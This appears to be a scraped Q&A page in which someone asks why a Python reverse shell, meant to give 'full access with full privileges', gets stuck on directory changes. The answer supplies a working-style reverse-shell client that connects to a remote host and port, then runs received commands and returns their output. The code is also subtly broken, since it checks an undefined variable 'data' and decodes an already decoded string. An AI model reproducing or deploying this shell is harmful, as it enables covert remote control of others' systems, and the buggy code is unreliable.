Skip to content Skip to sidebar Skip to footer

Reverse Shell Command With Python Command Gets Stuck When Trying To Change Directory

I am trying to get full access with full privileges with a reverse shell with python. The connections get established, and I can do a command like 'ipconfig' or 'dir' (although som

Solution 1:

Solved by using "os" library in the client file with the "os.chdir" method like so:

import socket
import subprocess

import os # Import this library

SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 

    if data[:2].decode('utf-8') == 'cd':
        os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"

    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

Post a Comment for "Reverse Shell Command With Python Command Gets Stuck When Trying To Change Directory"